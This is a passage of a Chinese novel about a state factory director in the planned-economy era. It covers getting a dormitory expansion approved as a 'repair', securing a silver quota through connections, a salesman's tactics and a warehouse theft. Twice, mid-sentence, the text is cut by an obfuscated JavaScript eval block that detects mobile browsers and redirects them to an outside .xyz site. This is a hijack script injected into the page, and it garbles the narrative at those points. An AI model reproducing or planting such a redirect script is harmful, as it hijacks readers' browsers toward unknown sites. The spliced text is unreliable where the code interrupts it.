徐茂林走后,周亚平打了几个电话,布置了相关的工作。期间,厂办罗主任又进来几次,汇报一些日常的事项及送来需要签批的文件。 下午3时左右,是周亚平给自己定下的巡视车间的时间。 每到一个车间,除了与负责人例行的工作交谈外,周亚平还忘不了问问该车间有多少住在厂外宿舍的新工人,他们有什么反映,等等。同时,也询问大家解决问题的办法。 众人提出了形形色色的建议。有的说必须另外租房,还介绍镇上新盖的某公寓坐南朝北,冬暖夏凉;有的说在现有的单身宿舍里,把单层床换成双层床,这样就可以让住厂外的职工全部搬回来。 听到这些意见,二车间颜主任快人快语:“这都是馊主意。镇上新盖的公寓确实好,但你知道多贵?而且离工厂太远,年轻人爱睡懒觉,如果住那里,岂不是天天迟到?换双层铺的主意更烂,现在讨论的是改善职工居住条件,你那方案是反着来,怎么行?” 正在讨论中,设备动力科科长秦仁义匆匆忙忙找来了。 “周厂长,找了半天,原来你下车间了。”秦科长递过来一份文件,“这是今年设备大修理计划,明天就要上报的,请你签字。” 周亚平知道,这个计划是办公会集体通过的,签字只是程序要求,因此,略微翻看了一下,就掏出钢笔在文件上签下自己的名字。 “秦科长,像这种文件报上去,部局多长时间会批下来?”周亚平收起签字笔。 “很快,三四个工作日就可以批复下来。” “啊,这么快?” 秦仁义笑了:“设备大修理用的是自己的钱,既不需要占用指标,又不需要上面拨资金,怎么会不快。” 周亚平茅塞顿开,暗想,原来诀窍在这里。 从车间回到办公室,周亚平立即让罗主任通知相关人员到小会议室开会。 参加会议的,除了几个副厂级干部,还有财务部门、总务部门、设备部门的负责人,总务科的熊工也被邀参加会议。 周亚平首先讲话:“今天会议议程主要是商议解决单身宿舍问题。进入夏季以来,天气越来越热,借住在兄弟厂宿舍的新工人反映非常强烈,老宿舍里过于闷热,晚上无法入眠,影响工作情绪。今天我让徐科长安排装上电风扇,但毕竟不能彻底解决问题,大家看看怎么才能切实解决这个问题。” 主管后勤的副厂长欧阳昭民发言:“彻底解决问题的办法其实去年老的领导班子就想到了,就是翻盖一层宿舍楼。但基建计划一直没有得到上级批准。” “是呀!”大家纷纷表示同意这一说法。 周亚平问:“这与我们把这一项目用基建计划的名义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479003|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上报有没有关系?” “没错呀,这的确是基建计划呀!”总务科科长徐茂林十分肯定地说。 “周厂长,翻盖宿舍,只能以基建项目上报。但由于部局每年的基建计划指标有限,因此很难批。”负责基建工作的熊工解释。 周亚平沉思片刻,搓了搓手:“如果我们以房屋大修理的名义去申报这个项目,不需要占用基建指标,又是自筹资金,不需上级拨款,这样应该比较容易批准吧。” “基建项目报成大修理,会不会是欺瞒行为?” 徐茂林自言自语地嘟囔着。 秦仁义不同意他的看法:“根本谈不上什么欺瞒。房屋也属于固定资产,房屋大修理是名正言顺的事。” 高吉吉也赞成这个意见:“是的,确实有这个名目。三年前,食堂屋顶漏水,总务科提出必须把屋顶翻新,我们就是以房屋大修理项目申报的,很快就批下来了。” 徐茂林还不甘心:“但现在是新建一整层楼呀?” “我说两句,” 欧阳昭民接过老徐的话头,“从逻辑上说,既然是大修理,又没有限制大修理的工程量,那么,在旧房屋的基础上换个屋顶或是加盖一层,都是属于固定资产大修理范畴。我也同意周厂长的提议,把宿舍翻盖项目用房屋大修理的名义重新申报。对了,总部财务处鲁处长上个月来我厂调研,是我一直陪同。我看他很通情达理的,也了解我们的实际困难。递交报告后,我再与他电话沟通沟通。” 周亚平看到大家基本统一了意见,终于找到了解决单身宿舍问题的途径,很开心,微笑着做了会议总结:“这件事就这样定了。会后,请欧阳厂长安排起草报告和向上申报事宜,总务科马上准备联系施工队伍、建筑材料等事项,只等上级批文一到,立即开工。” 申报工作出现了一点小曲折,上级主管单位认为,房屋大修项目名称不妥,应改为“单身宿舍移地大修”。对此,周亚平至今还想不明白,本来就是在现有基础上大修,为什么非得是“移地大修”。但他明白,这肯定是上级部门主管人员的主意,是一番好意,目的还是让我们这个实际上新建一层宿舍的项目能在繁琐复杂的规章条例中取得合法地位。这也是在那种计划经济条件下,规避风险,办成实事的游戏规则。周亚平心里默默地感谢这位上级主管人员。 改称“移地大修”的报告很快下了批文,器材厂加盖一层宿舍楼的工程可以动工了。 但真到了动工又遇到难题。由于是在现有单身宿舍基础上加盖一层,这就牵涉到现住单身宿舍的人员,在施工期间如何临时安置问题。总务部门搜肠刮肚想尽办法,动员各个单位把能够倒腾出来的房屋都倒腾出来,仍然还有二十几个职工无法安排。 周亚平与党委书记及几个厂级领导商量后,决定动员机关干部集体办公,挤出空房供单身职工临时居住。领导们身体力行,四个正副厂长挤到一个办公室办公。这样,很快腾出了一些空房,解决了剩余的单身职工安置问题。 宿舍翻盖工程进展很快,两个月的时间就已完工。终于赶在最热的“秋老虎”到来之前,让住在厂外的单身职工兴高采烈地住进了新宿舍。 这件事在职工中引起了较大的反响,都认为工厂领导为职工办了一件大好事,连平时酷爱排球运动,但不苟言笑,牢骚最多的秦仁义,也对此赞不绝口:“真不错,我们厂这次打了个‘短平快’的好球!” 5. 五 又是一个例行的厂长办公会。 肖副厂长正在发言:“同志们,今年上半年的生产经营统计数据已经出来了。整体看还不错,总产值比去年同期增长27.5%,比年计划增长15.7%;利润方面,已经由一季度的亏损转为赢利。下半年再努把力,应该还会有更大的惊喜。” 说到这里,肖进话风一变:“我想说的还不是现在的生产经营情况,我想把最近得到的一个信息报告给大家,请周厂长和各位领导决策。” “总部考虑下属许多企业近几年业务量不足,最近从国外承揽了一批产品订单,正在征询各个单位接受订单的意愿。请大家考虑考虑,我们要不要主动请缨,也去要点订单?” “什么产品?我们能生产吗?我们现在的任务还算饱满……”雷鸣雨说。 主管技术的副厂长冯庭怡打断他的话:“什么产品不重要,能不能生产靠我们努力。我们现在需要的是发展新产品。老产品订单必将愈来愈少,别看今年有饭吃,今后能不能吃饱还很难说。我的意见是一定要向部局去争取新产品订单。” “对!”“有道理!”“是这样!”众人纷纷表示赞同。 会议议定了几项工厂生产经营方面的重大事宜,其中包括决定向总部申报承接出口产品订单一事。 对此,周亚平强调说:“冯厂长的意见很中肯,我们确实必须居安思危。不断发展新产品,应该成为我们工作的重中之重。这件事,肖厂长负责立即与总部联系,力争更多的订单。后面牵涉到技术层面的事,如新产品的技术标准,性能指标,生产工艺,等等 ,由冯厂长和沈副总跟进。” 没过多久,总部安排的外销产品的订单正式落实到了器材厂,有关的技术资料及产品样本也同时寄达。听到消息,周亚平处理完手头的事务,径直赶往负责新品开发的研究所。 副厂长冯庭怡及副总工沈臬阳都在,正与几位工程技术人员进行研讨。见厂长进来,冯庭怡打了个招呼,对沈臬阳说:“沈工,你给厂长讲讲关于订单产品的基本情况吧。” 沈臬阳从桌上拿起一个小瓷管一样的东西,递给周亚平:“周厂长,我们将要生产的就是这个玩意。” 周亚平接过产品仔细看了看,单从外表看确实是一根小瓷管,两头各有一个银色的金属帽。 “这是英国标准的熔丝管,就是我们国内叫保险管的,但它不像国内的保险管那么简单。我们国内用于过流保护的保险管是两头带金属帽的玻璃管,中间有一根锡丝。但英国标准的熔丝管就复杂多了,一根耐高温高压的陶瓷管,两头的铜帽必须是镀银的,陶瓷管内要充满石英砂,用来灭弧,里面的熔丝是纯银丝。”沈工认真地分析,“特别是我们解剖后发现,管内银丝的中部还有一个锡球,开始我百思不得其解,后查了资料,才知这是利用锡的夺银原理,使得过流保护的性能特别优异。能做到在某一额定电流内,绝不熔断;在某一额定电流以上,必须熔断。非常精准。” 冯庭怡补充道:“订单要求完全按照英国标准制造,虽然生产技术没有什么难度,组装也很简单,但两种配件我们厂没有生产经验,还得重新试制。” 周亚平思索片刻,说:“任务急,时间紧,如果所有配件都由我们自己试制出来,再到购买设备,正常生产,估计今年完不成订单。专业的事找专业的厂干,配件全部从外协厂购进。你们看这样行不行?” 得到了技术部门的人员一致赞同后,周亚平心里更加笃定。离开研究所,直奔龚书记办公室,希望与老爷子统一意见后,召开党委会正式决策。 没有什么意外,党委会决议,尽快开展新产品试制,千方百计保证今年订单完成。 会后,周亚平在办公室召集有关人员,对此事进行具体布置,特别向主管副厂长做了交待:“欧阳厂长,请你与供销科的同志抓紧落实产品中几种配件的采购事宜。一是小瓷管,这应有专门生产的厂家,大批量生产,成本应比较低。二是镀银铜帽,两道很重要的工序,铜材冲压成型以及电镀银,必须找小五金加工厂。三是银丝,当然是整卷购进自己加工,但这是贵重金属,可能需要办一些审批手续。尽量多找几家外协厂,做到货比三家。” 熔丝管开发工作按部就班地进行,但派往各地寻找货源及询价的人员回来后,都有点垂头丧气。 陶瓷管和镀银铜帽主要是供应方报价太高,如果按现在拿到的价格,产品生产出来,几乎没有什么利润。由于银丝是国家管控物质,供货单位报出的价格倒是相当一致,但最大的问题是必须要有中国人民银行批准的白银指标才能购买,否则,不要说几百公斤,一克都别想买到。 器材厂小会议室里,此时像开锅的水,为了新产品配件外协问题争议得不可开交。 有人指责外协人员没能多跑几个地方,所以找不到好的价格。有人抱怨厂部过早接单,现在一无银指标,二无低价配件,进退两难。 “别吵!别吵!”主持会议的欧阳昭民站了起来,“叫你们来是为了商量下一步的工作方向和计划,不是来听你们吵架和抱怨。大家能不能提点建设性意见,别光指责泄愤。” 会场上安静下来。 柴福生叹口气说:“我搞了一辈子采购,开始也以为这件事容易,谁知这么复杂。看来,我们要改变一下思路。比如小瓷管,小田你们去的都是国营大厂,人家动不动就说必须重新开模和更换设备,要投资几十万元,把这些摊进成本,价格不贵才怪。是不是找一些有实力的民营企业,才有可能把价格降下来。” “瓷管的技术难度不大,民营企业也不一定得有很大实力。”有人附和说。 “这话不假,”雷鸣雨说,“我看你们找镀银铜帽厂家只在省内各个地区跑,这个方法不对。江浙一带有许多社队企业,家庭作坊,生产各种小配件,物美价廉。像我们老家就号称小五金之乡,生产的小五金便宜得不得了,质量也很好,为什么不去找找?” 会议结束后,欧阳昭民走进周亚平办公室,向厂长做了汇报。 “很好!我看就按大家的建议,重新调整方向,马上分头出发,力争尽快解决配件货源问题。欧阳厂长,你去安排吧。” 欧阳没有挪步,面有难色:“厂长,还有个最大的问题没有解决,就是银指标问题,已经分别向市里、省里以及部局报告过,都回应今年指标早已下达,不可能再给指标。” 周亚平面色凝重:“是呀,这几天我也一直为此犯愁。看来,如果按常规办理,我们今年的熔丝管生产算是彻底没戏了。” “有没有其它非常规办法呢?” “有一个迫不得已的招数,我一直在犹豫,不知到底合不合适,也不知究竟管不管用。” 欧阳急了:“厂长,这都什么时候了,还顾虑这担心那的?” 周亚平迟疑了一会,说:“你知道郑副书记原来是哪个单位的吗?” “谁不知道,郑宏伟是重型机械厂调来的呀。” “对了,他在重机厂也是副书记,我也是最近才听他说,原来与他共事的重机厂邓书记的姐夫,就是国内主管白银指标审批银行总行的行长。” 欧阳如梦初醒:“我明白了,你想让郑书记通过原来的老同事,去找他姐夫,争取拿到银指标。那还犹豫什么,赶快给龚书记说,召开党委会商量呀!” 党委会上,有人提出了反对意见,龚书记也表示质疑:“周厂长,这不是明目张胆地走后门吗?这可是我们党一贯反对的。” “龚书记,不是走后门,”周亚平不无调侃地笑了笑,“这是在特殊情况下,通过特殊关系走前门,大前门。” 看到众人一副疑惑的表情,周亚平说:“说白了,在计划经济下,国家用计划指标控制各项贵重资源的耗用,是为了更好地发展经济,避免浪费。我们都做过计划,任何计划,都留有余地。国家计划同样不例外,都会留有余地,叫计划外指标,或叫机动指标。我们现在的目的,就是要想办法从机动数额里拿到一点指标。这是为了生产,是为了国家的经济发展,是正大光明的事情。” “既然这样,为什么不找市一级,省一级或部局一级组织去争取计划外指标呢?”龚书记继续问。 听了老爷子的话,欧阳昭民忍不住发声了:“龚书记,我们的指标在部局,省、市都不管。贵重金属我们部属工厂用量不大,因此指标都是一次性分配,没有机动指标。这一点,我们反复确认过的。” 一开始就提反对意见的那个党委委员开口了:“因为部局没有指标了,就成了我们开后门的理由?” “别动不动就说‘开后门’,太难听了。现在讨论的是方法问题,路径问题。”肖进听不下去了。 “肖厂长说得很好,确实是方法问题和路径问题。我们现在火烧眉毛,如果解决不了白银指标,今年部局下达的熔丝管出口任务就无法完成,这不但影响为国家出口创汇,更严重的是影响国家的信誉。我们现在所做的,还是在组织范围内的,是协助部局有关部门,去争取国家层面的白银机动指标,一点也没有越轨。”周亚平接过话来说。 持反对意见的那位又发言了:“说得这么漂亮,为什么不让部局直接去找总行行长呢?而要我们通过亲戚关系去找?” 这句话打中了要害 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毕竟都是搞企业的,邓书记听郑宏伟所说器材厂面临的巨大困难,非常同情,马上同意帮忙去北京跑一趟。 第二天,郑宏伟陪同邓书记直飞北京。抵达后,在邓书记姐夫家附近找了个招待所住了下来。 当天晚上,邓书记就带着郑宏伟拜访自己的姐姐、姐夫。邓没有说明此行的真实意图,只说是出差到京。企业领导出差,这是习以为常之事,无人深究。 姐弟多时未见,自然有说不完的亲情话,邓书记和姐姐、姐夫聊了一晚,郑宏伟插不上嘴,只好一个人安安静静地看电视节目。 临别时,邓书记姐姐说:“我知道,你们到京公干,明天一定很忙,白天我不管你们,但晚上无论如何要来家吃个便饭。老弟,你们早点办完事,我让你姐夫派车来接你。就这样说定了。” 其实,第二天白天郑邓二人还真没有什么其他公干,两人一商议,虽然以前多次来北京,但由于公务繁忙,来去匆匆,没有多少游玩时间,趁此机会,正好到故宫等地去逛逛。 在北京市内几个有名的景区闲逛了一整天,眼看到了晚饭光景,两人匆忙赶回招待所。 邓书记姐夫的秘书赵伟已先在所里等候,见二人回来,笑着迎上来,说:“两位书记,快收拾一下,行长和太太还等着你们吃饭呐。” 走到楼下,准备上车前,邓书记突然想起什么,停下脚步,把赵伟拉到院子里一个偏僻的角落,对他说:“赵秘书,不好意思,其实我们这次来,顺带还有一个任务,是解决郑书记他们厂生产方面的紧急问题。我准备今天晚饭时同行长去说,又有点担心冒昧,请赵秘书帮我参谋参谋。” 就此,邓书记把事情的原委详细地向赵秘书做了介绍。 谁知赵秘书听完后轻松地说:“就这点事?你们带了文件没有?” “带了,申请报告上都有我们部局的盖章。”郑宏伟赶快回答。 “还需要出口合同书与产品技术规格书复印件,有吗?” “都带了,在我挎包里。” 听这一说,赵秘书笑了笑:“这件事,不要去惊动行长。我明天帮你们把文件递交给行里的主管部门就行了。公事公办,没有一点问题。” 他说的这个“没有一点问题”,意味深长,既指出程序上没有一点问题,也在给两位书记宽心,办成这件事没有什么问题。 果然,两位书记从北京回来后不到十天,总行传来好消息,器材厂急需的白银指标终于批下来了。 询购外协配件的工作也圆满完成,都找到了物美价廉的供应厂商,特别是镀银铜帽,质量很不错,价格还不及本地企业报价的一半。令人匪夷所思的是,厂家居然是浙东某县的一个家庭作坊,主人姓水,供销科去选点的人戏称他为“水老倌”。“水老倌”在湘中地区俚语里是指吊儿郎当的人。 周亚平开始还有些担心这一配件今后的质量保证和交货日期保证,但亲自到产地考察过的柴福生给他打保票:“厂长放心吧,‘水老倌’这家企业虽是家庭作坊,但他们村里几乎家家都是企业,一呼百应,协同作战,简直就是一个大企业联盟。如果不是亲眼所见,我也不会相信。另外,我们也了解过,‘水老倌’这个人非常讲信用,答应的事一定能办到。” 器材厂为出口产品熔丝管的生产,抽调强兵悍将专门成立了一个新车间,经过人员短期培训,等原材料购置齐全,立即投入了生产。 在全厂上下一致的努力下,熔丝管超额完成了出口创汇任务,实现了当年生产,当年受益,利润也相当可观。 6. 六 老辈人称二十四个“秋老虎”,说的是立秋以后还有二十四个最热的日子。此言果然不假,立秋已过,本应秋高气爽,天气渐凉,谁知老天爷变本加厉,越发热得无法忍受。 张伍成脱得只剩下一条内裤,躺在小旅社的客床上,尽管电风扇已经开到最高档,但吹过来的热风却让人感觉不到丝毫凉意。 自从器材厂周亚平厂长下达死命令,要求销售部门无论如何在秋季结束前完成积压的耐磨塔轮销售任务,老张就一直在外奔波,三天前还在东北,前天就来到了这个号称“四大火炉”之一的南方城市。主攻的对象是位于城市郊区的泰隆电缆设备厂。这是一个规模很大的电线电缆企业,但目前还是器材厂产品的空白地带。 回想这两天的经历,张伍成感到异常的窝囊,体会到从未有过的失落感。 从表面看,老张是一个大大咧咧、直言快语的汉子,对人没有什么小心眼,但他并不笨,是个极聪明的人。他常说,搞销售,首先要能吃苦,但又不光是能吃苦,更需要动脑筋。 老张在销售本厂的耐磨塔轮产品时,风格与其他人迥然不同。一般的销售人员到了客户单位,往往是低声下气地恳求对方,句句话离不开“请支持我们”,“请帮助我们”。他却是反其道而行之,走访客户时,大摇大摆地往客户单位办公室一坐,说了声“你好!”就静观接待人员的反应。大多数情况下,客户接待人员不耐烦地问:“请问同志有何贵干?” 张伍成不慌不忙地说:“我是来帮助贵厂解决问题的。” 这倒引起了客户接待人员的好奇,笑着问:“帮我们解决问题?奇了怪了,我们有什么问题需要你来解决?” “能不能讨杯水喝,这天气着实够热的。”老张并不急着回答。 客户人员也感到有点失礼,客人来了水都没倒,赶紧端上一杯好茶。 老张喝口茶,才继续说:“贵厂的拉丝机现在所用的拉丝轮,是采用钢质材料制成,很容易磨损,开机生产一段时间就会在鼓轮表面磨出槽痕,继续生产必将影响产品质量,因此,必须经常更换新的塔轮。换下来的拉丝轮虽可进行表面打磨抛光,重新使用,但经过多次加工,会使工作面直径发生变化,继续使用也会影响产品质量,故只能报废。这样来来回回的停产换轮,严重影响生产;而且拉丝轮损耗太大,经济上很不合算。就这一点,是让贵厂领导及生产部门、技术部门头疼的大难题。” 老张又滔滔不绝地介绍他们厂的耐磨塔轮产品,由钻石级刚玉陶瓷组成,如何超级耐磨,使用时间如何长,算总账如何划算。把客户接待人员说得一愣一愣的。 由此,对方把实际上是来推销产品的老张当成贵宾接待。自然,老张离开时,挎包里增加了一份沉甸甸的订货合同。 但让老张沮丧的是,这种几乎百战百胜的招数,在泰隆电缆厂居然毫不管用。该厂主管采购事宜的齐经理,在聆听老张洋洋洒洒一大篇演讲的过程中,不痛不痒地用几个语气词“嗯”,“哦”,“嘿”表示在听。听完后,站起身:“说完了?很好,听明白了。我们早就知道了你们的产品,但研究过,暂时不需要,谢谢你的介绍。”转身就要送客。 “齐经理!我们的产品有哪点不符合贵厂要求?请您说清楚点。另外,暂时不需要,这个‘暂时’是多长?” “条条道路通北京,现在还有其它办法也可以解决这一问题,我们正在试用,一旦试用成功,‘暂时’就变成‘永远’了。”齐科长毫不客气地回复。 简直是针插不进水泼不进,自诩为见多识广的张伍成也自叹无策。 想到这两天在泰隆厂的工作白忙乎了,张伍成在床上翻来覆去睡不着。明天就是星期天,工厂都休息,只能等到周一再去该厂。但即使再去,就齐经理那种蒸不烂煮不熟的态度,估计也不会有什么收获。如果明天就打道回府,老张又实在心有不甘。 辗转反侧中老张似睡非睡,等到睁开眼,已是第二天清晨。 吃过早餐,看到楼下川流不息的人群,想想他们为着各自的追求和各自的目标在奔走、在操劳,张伍成又满血复活,突然来了主意,心想,何不趁今天休息日,去拜访齐经理,把公关工作做到家里去。 从工厂门卫那里打听到齐经理家的地址后,老张买了两盒时新的糕点,直奔目的地。 齐经理是本地人,住处貌似农家小院。老张进院时,老齐两口子正在院坪里制作藕煤。 说起藕煤,现在使用的人已经很少,知道的人也不多了。但在那个完全依靠煤炭做饭取暖的年代,却是家家必备的物品。为了省钱,一般都是自家制作。方法也很简单,把散煤混入适当的黄泥,加水和匀,再用一个专门的藕煤模使劲朝煤堆砸下,让湿煤挤满藕煤模,然后再在空地上把已成型的藕煤块推出,等太阳晒干,大功告成。 “齐经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479005|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理!在做藕煤呀,辛苦,辛苦!”张伍成大声叫道。 看到老张提着礼品进门,齐经理迎上来,嗔怪说:“带什么礼,这可不敢收,我可不愿去写‘小字报’。” 所谓“小字报”,就是检讨书的戏称。 张伍成顺手把礼盒放到院里的一张餐桌上,嬉笑着说:“星期天,一个人呆在旅社里实在难受,想到齐经理家讨杯茶喝,聊聊天解闷,齐经理不会不给面子吧?” 齐经理嘿嘿几声:“欢迎,欢迎!”,自顾不暇地继续戳藕煤。 见此状,张伍成赶忙脱掉外衣,撸起袖子对齐经理太太说:“嫂子,让我来吧,做藕煤这可是我的拿手戏。” “怎么能让客人来干活?”齐家嫂子连忙推脱。 老张一边从齐家嫂子手上接过藕煤模,一边套近乎地说:“我和齐经理什么关系?铁哥们!凑巧碰上你家有活,我不帮忙谁帮忙?” 由于增添了一位壮男主力,藕煤制作进展很快,还未过午就已完工,小院的地坪上整整齐齐摆满了藕煤块。 “老张,快来洗手。”齐科长招呼着,“真不好意思,让你受累了。” “这算什么,我在家时,有一次干了一整天,一个人把500多斤煤全部做完,那还真有些累。” 经齐家一再挽留,张伍成在齐家吃了午饭,这才返回旅馆。 周一,老张又到了泰隆电缆厂,这一次,与齐经理会谈的气氛自然完全不同。 “老张,不瞒你说,我们厂技术部门确实正在试验一种延长拉丝轮使用寿命的新工艺,就是在拉丝轮表面镀一层耐磨涂料。由于正在试验阶段,所以,我们原来不打算再试用其它产品。不过,没关系,我已与领导沟通,变通处理。你回去后,按我们提供的规格型号,寄几套贵厂的产品样品来,我安排他们试用,只要真有你说的那种使用效果,我们一定会采购你们的产品。”齐经理真心实意地对老张说。 “行!那就这么说定了,我回去马上安排发运样品。” 总算回去有了一个好的交待,张伍成心满意足地离开了泰隆厂。 样品寄给泰隆电缆厂不到一个月,该厂就签订了第一张订单,以后,订单源源不断。从此以后,这个厂成了器材厂最稳定的一家客户。 由于以张伍成为主的所有销售人员的努力,器材厂库存的拉线塔轮产品终于陆续出库,塔轮生产车间也可以满负荷生产了。 7. 七 冬日昼短,吃完晚饭,屋外就已经一片漆黑。沈珍钰忙着收拾碗筷,周亚平一边用玩具哄着孩子,一边在看电视里的“新闻联播”。女孩周萌梦已经四岁多了,由于是双职工家庭 ,因此,白天都是送到工厂的托儿所里照看,下班再接回家中。 突然,一阵紧密的敲门声和歇斯底里的叫喊声,把室内的人吓了一跳,小女孩吓得拼命地哭了起来。 “萌梦,别哭别哭!爸爸去看看怎么回事。” 周亚平急忙站起来,走过去把门打开。 门口站着一个气势汹汹的老太婆,手上还抱着个婴儿,正在使劲地用脚踹门。周亚平并不认识这个老太婆,但隐约觉得应是厂内职工的家属。 沈珍钰此时也已来到了大门口,一见来人,立刻满脸堆笑地打招呼:“庄大妈,今天怎么有空过来,进来吧,进来喝口茶。” 转过身,对周亚平努努嘴:“这是二车间赵星航的岳母,今年刚来厂里不久,所以你不认识。” 此时,来人的脸色稍微有点缓和,但仍愤愤不平地说:“周厂长,都说你办事公道,我看你对我女婿这件事办得太不地道。我那可怜的女儿走了,现在我女婿又被抓走,你要我一个孤老太婆拿这个娃娃怎么办?行了,这个孩子就给你们了,是扔掉还是送人,你们看着办吧!”说完,把手上的婴儿放到客厅的沙发上,猝不及防地转身跑了出去。 周亚平两口子还没反应过来,萌梦刚止住哭,沙发上婴儿又嚎啕大哭起来。沈珍钰急忙把孩子抱起来,轻轻拍着安抚,嘴里不停地嘟囔:“这算怎么回事,你说你,好好的,非得当什么厂长,把个家里闹得神鬼不宁。” “吵什么吵!”辛苦了一天,刚回到家里歇口气,就遇上人捶门打户,周亚平也没有好气,“现在抱怨有什么用,得想个法子解决问题。” 赵星航是器材厂的工人,他被派出所拘传一事,是今天下午发生的。事前,工厂保卫科给周亚平报告过,起因是二车间小仓库贵重金属失窃一事。小赵兼职管理车间小仓库,库内放置了一批报废的热电偶。热电偶是用于窑炉高温测量的器件,管内的热电极是由两根不同材料的贵重金属组成,据说这些材料非常值钱。因此,每次小赵都会把报废的热电偶里的贵重金属丝拆下来,卷成一盘,放入仓库的铁柜里锁起来。失踪的就是这些热电偶贵重金属丝卷。 小赵一口咬定是被人偷走,但经工厂保卫科协同公安部门勘察现场,又未发现任何门窗和铁柜被破坏的痕迹,采用技术手段也未得到任何指纹、足迹。由此,赵星航成了这件盗案最大嫌疑人。 小赵的妻子三个多月前因急病去世,留下一个不满一岁的婴儿,他岳母见女婿被抓走,从而迁怒于工厂,这个大妈性子暴躁,不管不顾地跑到厂长家来撒泼。 对于这宗案件,当初周亚平认为事情还没有完全弄清楚,提出先由工厂保卫科仔细调查,找到真凭实证后才移送公安部门处理。但保卫科长陆晓天坚持要求公安部门及早介入,认为只有这样才能尽快破案。周亚平也只能听从他们的意见。 谁知派出所在向赵星航调查取证时,他极不配合,询问他这几天和哪些人有过接触,哪些人到过小仓库,他的回答也颠三倒四,前后不一。因此,派出所对他采取了拘传措施。 庄大妈大闹厂长家的消息已经传开了,办公室罗主任和保卫科陆科长、二车间颜主任都陆续赶到了厂长家。周亚平把大家一一让到家中,沈珍钰赶忙放下婴儿,给来人沏茶。 “这老太婆太不像话了,再这么胡闹连她一起抓起来!”陆晓天愤愤地说。 颜鲁陵望着躺在沙发上的婴儿说:“这孩子怎么办?看他哇哇哭的,可能要喂奶粉了,小赵这个岳母也真狠得下心。” 罗文轩走过去,把孩子抱起来:“其它事再商量吧,孩子的事是当务之急。我去女工委员会找几个人,一起把孩子送回去,顺便做做庄大妈的工作。”说完,抱着孩子走了。 看到罗文轩抱走了孩子,陆晓天和颜鲁陵也准备告辞,被周亚平叫住:“你二位先别走,正想与你们商量小赵的事。” “这件盗案我一直有个疑问,如果真是小赵自己偷的,他有这么傻?哪怕稍微伪装一下,比如把锁扭断,窗玻璃打碎什么的,不都能糊弄一阵?一切完整无损,却一口咬定是被别人偷的,让谁信呢?” 老颜也说话了:“从赵星航一贯的表现看,他不应该是这种人,去年他捡到一块手表,都主动交到我这里了,现在怎么会监守自盗呢?” “千万别一成不变地看问题,人都是会变的。”陆晓天提醒道。 “没错,人是会变的,但事情的逻辑关系应该不会变。有没有可能有人先盗走了小赵的仓库钥匙,然后再去偷盗贵重金属丝?”周亚平问。 老陆回复:“派出所开始也怀疑这一点,反复询问赵星航,钥匙有没有给过旁人,钥匙有没有离过身?但赵坚决表示钥匙一直在他身上放着。” “这就怪了,我还是怀疑这里面另有文章。”周亚平说,“这里面的文章只有赵星航自己才说得清楚。这样吧,你们两位明天去派出所,请民警安排与小赵见面,把这件事情的厉害关系告诉他,如果不说实话,后果不堪设想。要着重打消他的顾虑,一定要如实交代。” “好吧,我们明早就去。”两位一口答应。 第二天上班,陆晓天刚到保卫科办公室门口,就看到周厂长已经坐在里面了。 “我和老颜马上就去派出所,厂长还有什么要交代的?” 周亚平站起身:“昨天晚上我想了好久,还是认为这件事情有蹊跷。这样吧,今天我和你们一起去一趟,好好做做小赵的工作。” 不久,颜鲁陵也到了,三人一起坐办公室安排的小车开往派出所。 经过一番交涉和等待,三人在询问室里见到了赵星航。 见到工厂的领导来了,小赵满脸委屈,抽泣着说:“周厂长,颜主任,陆科长,热电偶丝真的不是我偷的,如果是我偷的我怎么会去报案?……” 陆晓天打断他的话:“光凭报案不能排除你的嫌疑,你想想,仓库里门窗都是好好的,装热电偶丝卷的铁柜、锁都没有损坏,公安局技术勘察,没有发现其他人的指纹、脚印,那不怀疑你还能怀疑谁?” “小偷不会带着手套,穿着脚套作案吗?”小赵仍不服气。 老颜说话了:“这确实有可能,现在这些小偷反侦察意识都很强,但进我们车间仓库偷热电偶丝至少要开两把锁,你不会说小偷自己配好了两把钥匙吧?” 赵星航低下头,不再说话。 周亚平看着小赵说:“我们都希望真不是你干的,但法律不讲希望,只讲事实和证据,你要用事实和证据来洗清你自己。小赵,你一定要认清现在的形势,被盗贵重金属丝的价值已经大大超过追究刑事责任的数额,如果最终确定是谁犯案,这个人肯定是要坐牢的,你要搞清楚这个厉害关系。” 停了停,继续说:“你应该仔细想想,出事前几天,发生过什么值得怀疑的人和事,有没有可能别人在你不察觉的情况下,拿过你的仓库钥匙?” “当然,如果真是你自己作案,也不要有任何侥幸心理,老老实实,坦白交待,接受从宽处理。总之,假的真不了,真的假不了。” 三人从不同的角度对赵星航进行开导、启发、劝说,直到会见时间已到,才离开询问室。 第二天,派出所给器材厂保卫科打来电话,告知赵星航已提供非常重要的破案线索,并要陆晓天马上去所里配合破案。 一周后,盗案正式侦破,派出所抓到了真正的盗窃嫌犯,赵星航被放回。 事情的经过是这样的。 事发的头天是星期日,赵星航与他的两个发小到镇上去玩,中午一起在一个小饭店里喝酒。他的两个发小,一个姓邢,由于脑袋瓜特大,外号叫“邢大头”,也是器材厂的一个工人。另一个外号叫“卷毛”,早年在无线电厂干过,后不知何故丢了工作,成了镇上的小混混。 “卷毛”正在向小赵劝酒:“星星,你他妈的原来那点豪气到哪儿去了?喝点酒像个娘们似的。今天我拿来的可是好酒,他妈的,过年才有得喝,是从我老爷子柜子里偷出来的。来,我们三兄弟再干一杯!” 